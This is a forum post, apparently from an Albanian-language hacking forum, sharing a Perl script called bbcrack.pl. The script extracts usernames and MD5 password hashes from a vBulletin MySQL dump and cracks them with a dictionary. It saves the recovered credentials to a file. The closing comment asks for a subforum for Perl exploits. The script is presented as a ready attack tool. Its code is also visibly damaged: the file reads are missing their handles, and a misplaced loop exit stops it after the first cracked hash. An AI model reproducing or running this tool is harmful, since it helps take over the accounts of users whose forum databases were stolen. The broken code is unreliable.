El-Fuego
Numri i postimeve : 159 Join date : 12/06/2008 Age : 111 Location : Peja Morder City
| Titulli: V-Bulletin Automatic Hash Cracker Thu Jun 12, 2008 8:31 pm | |
| #!/usr/bin/perl # Hollow Chocolate Bunnies From Hell presenting # bbcrack.pl # # Extracts and cracks hashes of a given MySQL dump of a # vBulletin board # # by softxor # http://bunnies.rootyourbox.org/ # IRC: irc.milw0rm.com #hcbfh
use strict; use Digest::MD5 qw(md5_hex); my $num_cracked = 0; my $duration = time(); my @hashes;
if ($#ARGV != 1) { print "Usage: bbcrack.pl [SQL FILE] [DICTIONARY]\n"; exit; }
# extract hashes from the SQL table open(SQLFILE, $ARGV[0]) or die('Cannot open SQL Database $ARGV[1]');
print "Extracting hashes from file.\n";
my @hash_file = ;
foreach my $line (@hash_file) { if ($line =~ m/'([0-9a-zA-Z]+)\'\, \'([0-9a-fA-F]{32})\'/g) { push(@hashes, "$1:$2"); #print "Found h$1:$2\n"; # uncomment for dumping hashes to stdout } }
print "Found ".($#hashes + 1)." hashes.\n";
# and if you are not willing, you'll never grow old! print "Trying to break hashes. Be patient.\n";
open(OUT, ">cracked") or die('Cannot create or write to cracked file. Try chmod the working directory accordingly.'); open(DICT, $ARGV[1]) or die('Cannot open dictionary file $ARGV[1]');
foreach (@hashes) {
my ($username, $hash) = split(":", $_); my $foundh = 0;
#print "Trying $username\n"; # uncomment for verbose output
seek(DICT, 0, 0);
while (chomp(my $line = )) {
if ($hash eq md5_hex($line)) { print "Cracked: $username : $line\n"; print OUT "$username : $line\n"; $foundh = 1; $num_cracked++;
last; }
}
if ($foundh) { last; }
}
close DICT;
$duration = time() - $duration; print "Finished.\nDuration: $duration Seconds\n$num_cracked/".($#hashes + 1)." hashes cracked.\n";
exit;
PS.pasi kohve te fundit gjuha programuese perl si dhe exploitat e programura ne perl perdoren mjaft shum, ather e kisha pas ni sugjerim per me hap ni nen forum per perl apo perl exploits | |
|